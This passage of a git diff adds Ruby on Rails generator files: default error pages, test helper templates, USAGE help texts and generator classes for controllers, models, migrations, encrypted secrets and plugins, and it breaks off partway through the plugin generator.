index 0000000000..2be3af26fc
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/public/404.html
@@ -0,0 +1,67 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <title>The page you were looking for doesn't exist (404)</title>
+  <meta name="viewport" content="width=device-width,initial-scale=1">
+  <style>
+  .rails-default-error-page {
+    background-color: #EFEFEF;
+    color: #2E2F30;
+    text-align: center;
+    font-family: arial, sans-serif;
+    margin: 0;
+  }
+
+  .rails-default-error-page div.dialog {
+    width: 95%;
+    max-width: 33em;
+    margin: 4em auto 0;
+  }
+
+  .rails-default-error-page div.dialog > div {
+    border: 1px solid #CCC;
+    border-right-color: #999;
+    border-left-color: #999;
+    border-bottom-color: #BBB;
+    border-top: #B00100 solid 4px;
+    border-top-left-radius: 9px;
+    border-top-right-radius: 9px;
+    background-color: white;
+    padding: 7px 12% 0;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+  }
+
+  .rails-default-error-page h1 {
+    font-size: 100%;
+    color: #730E15;
+    line-height: 1.5em;
+  }
+
+  .rails-default-error-page div.dialog > p {
+    margin: 0 0 1em;
+    padding: 1em;
+    background-color: #F7F7F7;
+    border: 1px solid #CCC;
+    border-right-color: #999;
+    border-left-color: #999;
+    border-bottom-color: #999;
+    border-bottom-left-radius: 4px;
+    border-bottom-right-radius: 4px;
+    border-top-color: #DADADA;
+    color: #666;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+  }
+  </style>
+</head>
+
+<body class="rails-default-error-page">
+  <!-- This file lives in public/404.html -->
+  <div class="dialog">
+    <div>
+      <h1>The page you were looking for doesn't exist.</h1>
+      <p>You may have mistyped the address or the page may have moved.</p>
+    </div>
+    <p>If you are the application owner check the logs for more information.</p>
+  </div>
+</body>
+</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/422.html b/railties/lib/rails/generators/rails/app/templates/public/422.html
new file mode 100644
index 0000000000..c08eac0d1d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/public/422.html
@@ -0,0 +1,67 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <title>The change you wanted was rejected (422)</title>
+  <meta name="viewport" content="width=device-width,initial-scale=1">
+  <style>
+  .rails-default-error-page {
+    background-color: #EFEFEF;
+    color: #2E2F30;
+    text-align: center;
+    font-family: arial, sans-serif;
+    margin: 0;
+  }
+
+  .rails-default-error-page div.dialog {
+    width: 95%;
+    max-width: 33em;
+    margin: 4em auto 0;
+  }
+
+  .rails-default-error-page div.dialog > div {
+    border: 1px solid #CCC;
+    border-right-color: #999;
+    border-left-color: #999;
+    border-bottom-color: #BBB;
+    border-top: #B00100 solid 4px;
+    border-top-left-radius: 9px;
+    border-top-right-radius: 9px;
+    background-color: white;
+    padding: 7px 12% 0;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+  }
+
+  .rails-default-error-page h1 {
+    font-size: 100%;
+    color: #730E15;
+    line-height: 1.5em;
+  }
+
+  .rails-default-error-page div.dialog > p {
+    margin: 0 0 1em;
+    padding: 1em;
+    background-color: #F7F7F7;
+    border: 1px solid #CCC;
+    border-right-color: #999;
+    border-left-color: #999;
+    border-bottom-color: #999;
+    border-bottom-left-radius: 4px;
+    border-bottom-right-radius: 4px;
+    border-top-color: #DADADA;
+    color: #666;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+  }
+  </style>
+</head>
+
+<body class="rails-default-error-page">
+  <!-- This file lives in public/422.html -->
+  <div class="dialog">
+    <div>
+      <h1>The change you wanted was rejected.</h1>
+      <p>Maybe you tried to change something you didn't have access to.</p>
+    </div>
+    <p>If you are the application owner check the logs for more information.</p>
+  </div>
+</body>
+</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/500.html b/railties/lib/rails/generators/rails/app/templates/public/500.html
new file mode 100644
index 0000000000..78a030af22
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/public/500.html
@@ -0,0 +1,66 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <title>We're sorry, but something went wrong (500)</title>
+  <meta name="viewport" content="width=device-width,initial-scale=1">
+  <style>
+  .rails-default-error-page {
+    background-color: #EFEFEF;
+    color: #2E2F30;
+    text-align: center;
+    font-family: arial, sans-serif;
+    margin: 0;
+  }
+
+  .rails-default-error-page div.dialog {
+    width: 95%;
+    max-width: 33em;
+    margin: 4em auto 0;
+  }
+
+  .rails-default-error-page div.dialog > div {
+    border: 1px solid #CCC;
+    border-right-color: #999;
+    border-left-color: #999;
+    border-bottom-color: #BBB;
+    border-top: #B00100 solid 4px;
+    border-top-left-radius: 9px;
+    border-top-right-radius: 9px;
+    background-color: white;
+    padding: 7px 12% 0;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+  }
+
+  .rails-default-error-page h1 {
+    font-size: 100%;
+    color: #730E15;
+    line-height: 1.5em;
+  }
+
+  .rails-default-error-page div.dialog > p {
+    margin: 0 0 1em;
+    padding: 1em;
+    background-color: #F7F7F7;
+    border: 1px solid #CCC;
+    border-right-color: #999;
+    border-left-color: #999;
+    border-bottom-color: #999;
+    border-bottom-left-radius: 4px;
+    border-bottom-right-radius: 4px;
+    border-top-color: #DADADA;
+    color: #666;
+    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+  }
+  </style>
+</head>
+
+<body class="rails-default-error-page">
+  <!-- This file lives in public/500.html -->
+  <div class="dialog">
+    <div>
+      <h1>We're sorry, but something went wrong.</h1>
+    </div>
+    <p>If you are the application owner check the logs for more information.</p>
+  </div>
+</body>
+</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/apple-touch-icon-precomposed.png b/railties/lib/rails/generators/rails/app/templates/public/apple-touch-icon-precomposed.png
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/public/apple-touch-icon-precomposed.png
diff --git a/railties/lib/rails/generators/rails/app/templates/public/apple-touch-icon.png b/railties/lib/rails/generators/rails/app/templates/public/apple-touch-icon.png
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/public/apple-touch-icon.png
diff --git a/railties/lib/rails/generators/rails/app/templates/public/favicon.ico b/railties/lib/rails/generators/rails/app/templates/public/favicon.ico
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/public/favicon.ico
diff --git a/railties/lib/rails/generators/rails/app/templates/public/robots.txt b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
new file mode 100644
index 0000000000..37b576a4a0
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
@@ -0,0 +1 @@
+# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
diff --git a/railties/lib/rails/generators/rails/app/templates/ruby-version b/railties/lib/rails/generators/rails/app/templates/ruby-version
new file mode 100644
index 0000000000..c444f33b0f
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/ruby-version
@@ -0,0 +1 @@
+<%= RUBY_VERSION -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/test/application_system_test_case.rb b/railties/lib/rails/generators/rails/app/templates/test/application_system_test_case.rb
new file mode 100644
index 0000000000..d19212abd5
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/test/application_system_test_case.rb
@@ -0,0 +1,5 @@
+require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :chrome, screen_size: [1400, 1400]
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
new file mode 100644
index 0000000000..6ad1f11781
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
@@ -0,0 +1,11 @@
+require_relative '../config/environment'
+require 'rails/test_help'
+
+class ActiveSupport::TestCase
+<% unless options[:skip_active_record] -%>
+  # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
+  fixtures :all
+
+<% end -%>
+  # Add more helper methods to be used by all tests here...
+end
diff --git a/railties/lib/rails/generators/rails/application_record/application_record_generator.rb b/railties/lib/rails/generators/rails/application_record/application_record_generator.rb
new file mode 100644
index 0000000000..f6b6e76b1d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/application_record/application_record_generator.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Rails
+  module Generators
+    class ApplicationRecordGenerator < Base # :nodoc:
+      hook_for :orm, required: true, desc: "ORM to be invoked"
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/assets/USAGE b/railties/lib/rails/generators/rails/assets/USAGE
new file mode 100644
index 0000000000..d2e5ed4482
--- /dev/null
+++ b/railties/lib/rails/generators/rails/assets/USAGE
@@ -0,0 +1,20 @@
+Description:
+    Stubs out new asset placeholders. Pass the asset name, either CamelCased
+    or under_scored.
+
+    To create an asset within a folder, specify the asset's name as a
+    path like 'parent/name'.
+
+    This generates a JavaScript stub in app/assets/javascripts and a stylesheet
+    stub in app/assets/stylesheets.
+
+    If CoffeeScript is available, JavaScripts will be generated with the .coffee extension.
+    If Sass 3 is available, stylesheets will be generated with the .scss extension.
+
+Example:
+    `rails generate assets posts`
+
+    Posts assets.
+        JavaScript:     app/assets/javascripts/posts.js
+        Stylesheet:     app/assets/stylesheets/posts.css
+
diff --git a/railties/lib/rails/generators/rails/assets/assets_generator.rb b/railties/lib/rails/generators/rails/assets/assets_generator.rb
new file mode 100644
index 0000000000..95d00c2d39
--- /dev/null
+++ b/railties/lib/rails/generators/rails/assets/assets_generator.rb
@@ -0,0 +1,25 @@
+module Rails
+  module Generators
+    class AssetsGenerator < NamedBase # :nodoc:
+      class_option :javascripts, type: :boolean, desc: "Generate JavaScripts"
+      class_option :stylesheets, type: :boolean, desc: "Generate Stylesheets"
+
+      class_option :javascript_engine, desc: "Engine for JavaScripts"
+      class_option :stylesheet_engine, desc: "Engine for Stylesheets"
+
+      private
+
+        def asset_name
+          file_name
+        end
+
+        hook_for :javascript_engine do |javascript_engine|
+          invoke javascript_engine, [name] if options[:javascripts]
+        end
+
+        hook_for :stylesheet_engine do |stylesheet_engine|
+          invoke stylesheet_engine, [name] if options[:stylesheets]
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/assets/templates/javascript.js b/railties/lib/rails/generators/rails/assets/templates/javascript.js
new file mode 100644
index 0000000000..dee720facd
--- /dev/null
+++ b/railties/lib/rails/generators/rails/assets/templates/javascript.js
@@ -0,0 +1,2 @@
+// Place all the behaviors and hooks related to the matching controller here.
+// All this logic will automatically be available in application.js.
diff --git a/railties/lib/rails/generators/rails/assets/templates/stylesheet.css b/railties/lib/rails/generators/rails/assets/templates/stylesheet.css
new file mode 100644
index 0000000000..7594abf268
--- /dev/null
+++ b/railties/lib/rails/generators/rails/assets/templates/stylesheet.css
@@ -0,0 +1,4 @@
+/* 
+  Place all the styles related to the matching controller here.
+  They will automatically be included in application.css.
+*/
diff --git a/railties/lib/rails/generators/rails/controller/USAGE b/railties/lib/rails/generators/rails/controller/USAGE
new file mode 100644
index 0000000000..64239ad599
--- /dev/null
+++ b/railties/lib/rails/generators/rails/controller/USAGE
@@ -0,0 +1,18 @@
+Description:
+    Stubs out a new controller and its views. Pass the controller name, either
+    CamelCased or under_scored, and a list of views as arguments.
+
+    To create a controller within a module, specify the controller name as a
+    path like 'parent_module/controller_name'.
+
+    This generates a controller class in app/controllers and invokes helper,
+    template engine, assets, and test framework generators.
+
+Example:
+    `rails generate controller CreditCards open debit credit close`
+
+    CreditCards controller with URLs like /credit_cards/debit.
+        Controller: app/controllers/credit_cards_controller.rb
+        Test:       test/controllers/credit_cards_controller_test.rb
+        Views:      app/views/credit_cards/debit.html.erb [...]
+        Helper:     app/helpers/credit_cards_helper.rb
diff --git a/railties/lib/rails/generators/rails/controller/controller_generator.rb b/railties/lib/rails/generators/rails/controller/controller_generator.rb
new file mode 100644
index 0000000000..06bdb8b5ce
--- /dev/null
+++ b/railties/lib/rails/generators/rails/controller/controller_generator.rb
@@ -0,0 +1,64 @@
+module Rails
+  module Generators
+    class ControllerGenerator < NamedBase # :nodoc:
+      argument :actions, type: :array, default: [], banner: "action action"
+      class_option :skip_routes, type: :boolean, desc: "Don't add routes to config/routes.rb."
+      class_option :helper, type: :boolean
+      class_option :assets, type: :boolean
+
+      check_class_collision suffix: "Controller"
+
+      def create_controller_files
+        template "controller.rb", File.join("app/controllers", class_path, "#{file_name}_controller.rb")
+      end
+
+      def add_routes
+        unless options[:skip_routes]
+          actions.reverse_each do |action|
+            # route prepends two spaces onto the front of the string that is passed, this corrects that.
+            route indent(generate_routing_code(action), 2)[2..-1]
+          end
+        end
+      end
+
+      hook_for :template_engine, :test_framework, :helper, :assets
+
+      private
+
+        # This method creates nested route entry for namespaced resources.
+        # For eg. rails g controller foo/bar/baz index
+        # Will generate -
+        # namespace :foo do
+        #   namespace :bar do
+        #     get 'baz/index'
+        #   end
+        # end
+        def generate_routing_code(action)
+          depth = 0
+          lines = []
+
+          # Create 'namespace' ladder
+          # namespace :foo do
+          #   namespace :bar do
+          regular_class_path.each do |ns|
+            lines << indent("namespace :#{ns} do\n", depth * 2)
+            depth += 1
+          end
+
+          # Create route
+          #     get 'baz/index'
+          lines << indent(%{get '#{file_name}/#{action}'\n}, depth * 2)
+
+          # Create `end` ladder
+          #   end
+          # end
+          until depth.zero?
+            depth -= 1
+            lines << indent("end\n", depth * 2)
+          end
+
+          lines.join
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/controller/templates/controller.rb b/railties/lib/rails/generators/rails/controller/templates/controller.rb
new file mode 100644
index 0000000000..633e0b3177
--- /dev/null
+++ b/railties/lib/rails/generators/rails/controller/templates/controller.rb
@@ -0,0 +1,13 @@
+<% if namespaced? -%>
+require_dependency "<%= namespaced_path %>/application_controller"
+
+<% end -%>
+<% module_namespacing do -%>
+class <%= class_name %>Controller < ApplicationController
+<% actions.each do |action| -%>
+  def <%= action %>
+  end
+<%= "\n" unless action == actions.last -%>
+<% end -%>
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/encrypted_secrets/encrypted_secrets_generator.rb b/railties/lib/rails/generators/rails/encrypted_secrets/encrypted_secrets_generator.rb
new file mode 100644
index 0000000000..8ba0fc4c5b
--- /dev/null
+++ b/railties/lib/rails/generators/rails/encrypted_secrets/encrypted_secrets_generator.rb
@@ -0,0 +1,70 @@
+require_relative "../../base"
+require_relative "../../../secrets"
+
+module Rails
+  module Generators
+    class EncryptedSecretsGenerator < Base
+      def add_secrets_key_file
+        unless File.exist?("config/secrets.yml.key") || File.exist?("config/secrets.yml.enc")
+          key = Rails::Secrets.generate_key
+
+          say "Adding config/secrets.yml.key to store the encryption key: #{key}"
+          say ""
+          say "Save this in a password manager your team can access."
+          say ""
+          say "If you lose the key, no one, including you, can access any encrypted secrets."
+
+          say ""
+          create_file "config/secrets.yml.key", key
+          say ""
+        end
+      end
+
+      def ignore_key_file
+        if File.exist?(".gitignore")
+          unless File.read(".gitignore").include?(key_ignore)
+            say "Ignoring config/secrets.yml.key so it won't end up in Git history:"
+            say ""
+            append_to_file ".gitignore", key_ignore
+            say ""
+          end
+        else
+          say "IMPORTANT: Don't commit config/secrets.yml.key. Add this to your ignore file:"
+          say key_ignore, :on_green
+          say ""
+        end
+      end
+
+      def add_encrypted_secrets_file
+        unless (defined?(@@skip_secrets_file) && @@skip_secrets_file) || File.exist?("config/secrets.yml.enc")
+          say "Adding config/secrets.yml.enc to store secrets that needs to be encrypted."
+          say ""
+          say "For now the file contains this but it's been encrypted with the generated key:"
+          say ""
+          say Secrets.template, :on_green
+          say ""
+
+          Secrets.write(Secrets.template)
+
+          say "You can edit encrypted secrets with `bin/rails secrets:edit`."
+          say ""
+        end
+
+        say "Add this to your config/environments/production.rb:"
+        say "config.read_encrypted_secrets = true"
+      end
+
+      def self.skip_secrets_file
+        @@skip_secrets_file = true
+        yield
+      ensure
+        @@skip_secrets_file = false
+      end
+
+      private
+        def key_ignore
+          [ "", "# Ignore encrypted secrets key file.", "config/secrets.yml.key", "" ].join("\n")
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/generator/USAGE b/railties/lib/rails/generators/rails/generator/USAGE
new file mode 100644
index 0000000000..799383050c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/generator/USAGE
@@ -0,0 +1,13 @@
+Description:
+    Stubs out a new generator at lib/generators. Pass the generator name as an argument,
+    either CamelCased or snake_cased.
+
+Example:
+    `rails generate generator Awesome`
+
+    creates a standard awesome generator:
+        lib/generators/awesome/
+        lib/generators/awesome/awesome_generator.rb
+        lib/generators/awesome/USAGE
+        lib/generators/awesome/templates/
+        test/lib/generators/awesome_generator_test.rb
diff --git a/railties/lib/rails/generators/rails/generator/generator_generator.rb b/railties/lib/rails/generators/rails/generator/generator_generator.rb
new file mode 100644
index 0000000000..299a7da5f1
--- /dev/null
+++ b/railties/lib/rails/generators/rails/generator/generator_generator.rb
@@ -0,0 +1,26 @@
+module Rails
+  module Generators
+    class GeneratorGenerator < NamedBase # :nodoc:
+      check_class_collision suffix: "Generator"
+
+      class_option :namespace, type: :boolean, default: true,
+                               desc: "Namespace generator under lib/generators/name"
+
+      def create_generator_files
+        directory ".", generator_dir
+      end
+
+      hook_for :test_framework
+
+      private
+
+        def generator_dir
+          if options[:namespace]
+            File.join("lib", "generators", regular_class_path, file_name)
+          else
+            File.join("lib", "generators", regular_class_path)
+          end
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/generator/templates/%file_name%_generator.rb.tt b/railties/lib/rails/generators/rails/generator/templates/%file_name%_generator.rb.tt
new file mode 100644
index 0000000000..178d5c3f9f
--- /dev/null
+++ b/railties/lib/rails/generators/rails/generator/templates/%file_name%_generator.rb.tt
@@ -0,0 +1,3 @@
+class <%= class_name %>Generator < Rails::Generators::NamedBase
+  source_root File.expand_path('templates', __dir__)
+end
diff --git a/railties/lib/rails/generators/rails/generator/templates/USAGE.tt b/railties/lib/rails/generators/rails/generator/templates/USAGE.tt
new file mode 100644
index 0000000000..1bb8df840d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/generator/templates/USAGE.tt
@@ -0,0 +1,8 @@
+Description:
+    Explain the generator
+
+Example:
+    rails generate <%= file_name %> Thing
+
+    This will create:
+        what/will/it/create
diff --git a/railties/lib/rails/generators/rails/generator/templates/templates/.empty_directory b/railties/lib/rails/generators/rails/generator/templates/templates/.empty_directory
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/lib/rails/generators/rails/generator/templates/templates/.empty_directory
diff --git a/railties/lib/rails/generators/rails/helper/USAGE b/railties/lib/rails/generators/rails/helper/USAGE
new file mode 100644
index 0000000000..8855ef3b01
--- /dev/null
+++ b/railties/lib/rails/generators/rails/helper/USAGE
@@ -0,0 +1,13 @@
+Description:
+    Stubs out a new helper. Pass the helper name, either CamelCased
+    or under_scored.
+
+    To create a helper within a module, specify the helper name as a
+    path like 'parent_module/helper_name'.
+
+Example:
+    `rails generate helper CreditCard`
+
+    Credit card helper.
+        Helper:     app/helpers/credit_card_helper.rb
+
diff --git a/railties/lib/rails/generators/rails/helper/helper_generator.rb b/railties/lib/rails/generators/rails/helper/helper_generator.rb
new file mode 100644
index 0000000000..e48b1b6fb3
--- /dev/null
+++ b/railties/lib/rails/generators/rails/helper/helper_generator.rb
@@ -0,0 +1,13 @@
+module Rails
+  module Generators
+    class HelperGenerator < NamedBase # :nodoc:
+      check_class_collision suffix: "Helper"
+
+      def create_helper_files
+        template "helper.rb", File.join("app/helpers", class_path, "#{file_name}_helper.rb")
+      end
+
+      hook_for :test_framework
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/helper/templates/helper.rb b/railties/lib/rails/generators/rails/helper/templates/helper.rb
new file mode 100644
index 0000000000..b4173151b4
--- /dev/null
+++ b/railties/lib/rails/generators/rails/helper/templates/helper.rb
@@ -0,0 +1,4 @@
+<% module_namespacing do -%>
+module <%= class_name %>Helper
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/integration_test/USAGE b/railties/lib/rails/generators/rails/integration_test/USAGE
new file mode 100644
index 0000000000..57ee3543e6
--- /dev/null
+++ b/railties/lib/rails/generators/rails/integration_test/USAGE
@@ -0,0 +1,10 @@
+Description:
+    Stubs out a new integration test. Pass the name of the test, either
+    CamelCased or under_scored, as an argument.
+
+    This generator invokes the current integration tool, which defaults to
+    TestUnit.
+
+Example:
+    `rails generate integration_test GeneralStories` creates a GeneralStories
+    integration test in test/integration/general_stories_test.rb
diff --git a/railties/lib/rails/generators/rails/integration_test/integration_test_generator.rb b/railties/lib/rails/generators/rails/integration_test/integration_test_generator.rb
new file mode 100644
index 0000000000..70770ddcb8
--- /dev/null
+++ b/railties/lib/rails/generators/rails/integration_test/integration_test_generator.rb
@@ -0,0 +1,7 @@
+module Rails
+  module Generators
+    class IntegrationTestGenerator < NamedBase # :nodoc:
+      hook_for :integration_tool, as: :integration
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/migration/USAGE b/railties/lib/rails/generators/rails/migration/USAGE
new file mode 100644
index 0000000000..baf3d9894f
--- /dev/null
+++ b/railties/lib/rails/generators/rails/migration/USAGE
@@ -0,0 +1,35 @@
+Description:
+    Stubs out a new database migration. Pass the migration name, either
+    CamelCased or under_scored, and an optional list of attribute pairs as arguments.
+
+    A migration class is generated in db/migrate prefixed by a timestamp of the current date and time.
+
+    You can name your migration in either of these formats to generate add/remove
+    column lines from supplied attributes: AddColumnsToTable or RemoveColumnsFromTable
+
+Example:
+    `rails generate migration AddSslFlag`
+
+    If the current date is May 14, 2008 and the current time 09:09:12, this creates the AddSslFlag migration
+    db/migrate/20080514090912_add_ssl_flag.rb
+
+    `rails generate migration AddTitleBodyToPost title:string body:text published:boolean`
+
+    This will create the AddTitleBodyToPost in db/migrate/20080514090912_add_title_body_to_post.rb with this in the Change migration:
+
+      add_column :posts, :title, :string
+      add_column :posts, :body, :text
+      add_column :posts, :published, :boolean
+
+Migration names containing JoinTable will generate join tables for use with
+has_and_belongs_to_many associations.
+
+Example:
+    `rails g migration CreateMediaJoinTable artists musics:uniq`
+
+    will create the migration
+
+    create_join_table :artists, :musics do |t|
+      # t.index [:artist_id, :music_id]
+      t.index [:music_id, :artist_id], unique: true
+    end
diff --git a/railties/lib/rails/generators/rails/migration/migration_generator.rb b/railties/lib/rails/generators/rails/migration/migration_generator.rb
new file mode 100644
index 0000000000..fca2a8fef4
--- /dev/null
+++ b/railties/lib/rails/generators/rails/migration/migration_generator.rb
@@ -0,0 +1,8 @@
+module Rails
+  module Generators
+    class MigrationGenerator < NamedBase # :nodoc:
+      argument :attributes, type: :array, default: [], banner: "field[:type][:index] field[:type][:index]"
+      hook_for :orm, required: true, desc: "ORM to be invoked"
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/model/USAGE b/railties/lib/rails/generators/rails/model/USAGE
new file mode 100644
index 0000000000..025bcf4774
--- /dev/null
+++ b/railties/lib/rails/generators/rails/model/USAGE
@@ -0,0 +1,114 @@
+Description:
+    Stubs out a new model. Pass the model name, either CamelCased or
+    under_scored, and an optional list of attribute pairs as arguments.
+
+    Attribute pairs are field:type arguments specifying the
+    model's attributes. Timestamps are added by default, so you don't have to
+    specify them by hand as 'created_at:datetime updated_at:datetime'.
+
+    As a special case, specifying 'password:digest' will generate a
+    password_digest field of string type, and configure your generated model and
+    tests for use with Active Model has_secure_password (assuming the default ORM
+    and test framework are being used).
+
+    You don't have to think up every attribute up front, but it helps to
+    sketch out a few so you can start working with the model immediately.
+
+    This generator invokes your configured ORM and test framework, which
+    defaults to Active Record and TestUnit.
+
+    Finally, if --parent option is given, it's used as superclass of the
+    created model. This allows you create Single Table Inheritance models.
+
+    If you pass a namespaced model name (e.g. admin/account or Admin::Account)
+    then the generator will create a module with a table_name_prefix method
+    to prefix the model's table name with the module name (e.g. admin_accounts)
+
+Available field types:
+
+    Just after the field name you can specify a type like text or boolean.
+    It will generate the column with the associated SQL type. For instance:
+
+        `rails generate model post title:string body:text`
+
+    will generate a title column with a varchar type and a body column with a text
+    type. If no type is specified the string type will be used by default.
+    You can use the following types:
+
+        integer
+        primary_key
+        decimal
+        float
+        boolean
+        binary
+        string
+        text
+        date
+        time
+        datetime
+
+    You can also consider `references` as a kind of type. For instance, if you run:
+
+        `rails generate model photo title:string album:references`
+
+    It will generate an `album_id` column. You should generate these kinds of fields when
+    you will use a `belongs_to` association, for instance. `references` also supports
+    polymorphism, you can enable polymorphism like this:
+
+        `rails generate model product supplier:references{polymorphic}`
+
+    For integer, string, text and binary fields, an integer in curly braces will
+    be set as the limit:
+
+        `rails generate model user pseudo:string{30}`
+
+    For decimal, two integers separated by a comma in curly braces will be used
+    for precision and scale:
+
+        `rails generate model product 'price:decimal{10,2}'`
+
+    You can add a `:uniq` or `:index` suffix for unique or standard indexes
+    respectively:
+
+        `rails generate model user pseudo:string:uniq`
+        `rails generate model user pseudo:string:index`
+
+    You can combine any single curly brace option with the index options:
+
+        `rails generate model user username:string{30}:uniq`
+        `rails generate model product supplier:references{polymorphic}:index`
+
+    If you require a `password_digest` string column for use with
+    has_secure_password, you can specify `password:digest`:
+
+        `rails generate model user password:digest`
+
+    If you require a `token` string column for use with
+    has_secure_token, you can specify `auth_token:token`:
+
+        `rails generate model user auth_token:token`
+
+Examples:
+    `rails generate model account`
+
+        For Active Record and TestUnit it creates:
+
+            Model:      app/models/account.rb
+            Test:       test/models/account_test.rb
+            Fixtures:   test/fixtures/accounts.yml
+            Migration:  db/migrate/XXX_create_accounts.rb
+
+    `rails generate model post title:string body:text published:boolean`
+
+        Creates a Post model with a string title, text body, and published flag.
+
+    `rails generate model admin/account`
+
+        For Active Record and TestUnit it creates:
+
+            Module:     app/models/admin.rb
+            Model:      app/models/admin/account.rb
+            Test:       test/models/admin/account_test.rb
+            Fixtures:   test/fixtures/admin/accounts.yml
+            Migration:  db/migrate/XXX_create_admin_accounts.rb
+
diff --git a/railties/lib/rails/generators/rails/model/model_generator.rb b/railties/lib/rails/generators/rails/model/model_generator.rb
new file mode 100644
index 0000000000..8c8aac54bf
--- /dev/null
+++ b/railties/lib/rails/generators/rails/model/model_generator.rb
@@ -0,0 +1,12 @@
+require_relative "../../model_helpers"
+
+module Rails
+  module Generators
+    class ModelGenerator < NamedBase # :nodoc:
+      include Rails::Generators::ModelHelpers
+
+      argument :attributes, type: :array, default: [], banner: "field[:type][:index] field[:type][:index]"
+      hook_for :orm, required: true, desc: "ORM to be invoked"
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/plugin/USAGE b/railties/lib/rails/generators/rails/plugin/USAGE
new file mode 100644
index 0000000000..9a7bf9f396
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/USAGE
@@ -0,0 +1,10 @@
+Description:
+    The 'rails plugin new' command creates a skeleton for developing any
+    kind of Rails extension with ability to run tests using dummy Rails
+    application.
+
+Example:
+    rails plugin new ~/Code/Ruby/blog
+
+    This generates a skeletal Rails plugin in ~/Code/Ruby/blog.
+    See the README in the newly created plugin to get going.
diff --git a/railties/lib/rails/generators/rails/plugin/plugin_generator.rb b/railties/lib/rails/generators/rails/plugin/plugin_generator.rb
new file mode 100644
index 0000000000..a1209e4624
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/plugin_generator.rb
@@ -0,0 +1,450 @@
+require "active_support/core_ext/hash/slice"
+require_relative "../app/app_generator"
+require "date"
+
+module Rails
+  # The plugin builder allows you to override elements of the plugin
+  # generator without being forced to reverse the operations of the default
+  # generator.
+  #
+  # This allows you to override entire operations, like the creation of the
+  # Gemfile, \README, or JavaScript files, without needing to know exactly
+  # what those operations do so you can create another template action.
+  class PluginBuilder
+    def rakefile
+      template "Rakefile"
+    end
+
+    def app
+      if mountable?
+        if api?
+          directory "app", exclude_pattern: %r{app/(views|helpers)}
+        else
+          directory "app"
+          empty_directory_with_keep_file "app/assets/images/#{namespaced_name}"
+        end
+      elsif full?
+        empty_directory_with_keep_file "app/models"
+        empty_directory_with_keep_file "app/controllers"
+        empty_directory_with_keep_file "app/mailers"
+
+        unless api?
+          empty_directory_with_keep_file "app/assets/images/#{namespaced_name}"
+          empty_directory_with_keep_file "app/helpers"
+          empty_directory_with_keep_file "app/views"
+        end
+      end
+    end
+
+    def readme
+      template "README.md"
+    end
+
+    def gemfile
+      template "Gemfile"
+    end
+
+    def license
+      template "MIT-LICENSE"
+    end
+
+    def gemspec
+      template "%name%.gemspec"
+    end
+
+    def gitignore
+      template "gitignore", ".gitignore"
+    end
+
+    def lib
+      template "lib/%namespaced_name%.rb"
+      template "lib/tasks/%namespaced_name%_tasks.rake"
+      template "lib/%namespaced_name%/version.rb"
+
+      if engine?
+        template "lib/%namespaced_name%/engine.rb"
+      else
+        template "lib/%namespaced_name%/railtie.rb"
+      end
+    end
+
+    def config
+      template "config/routes.rb" if engine?
+    end
+
+    def test
+      template "test/test_helper.rb"
+      template "test/%namespaced_name%_test.rb"
+      append_file "Rakefile", <<-EOF
+#{rakefile_test_tasks}
+
+task default: :test
+      EOF
+      if engine?
+        template "test/integration/navigation_test.rb"
+      end
+    end
+
+    PASSTHROUGH_OPTIONS = [
+      :skip_active_record, :skip_action_mailer, :skip_javascript, :skip_sprockets, :database,
+      :javascript, :quiet, :pretend, :force, :skip
+    ]
+
+    def generate_test_dummy(force = false)
+      opts = (options || {}).slice(*PASSTHROUGH_OPTIONS)
+      opts[:force] = force
+      opts[:skip_bundle] = true
+      opts[:api] = options.api?
+      opts[:skip_listen] = true
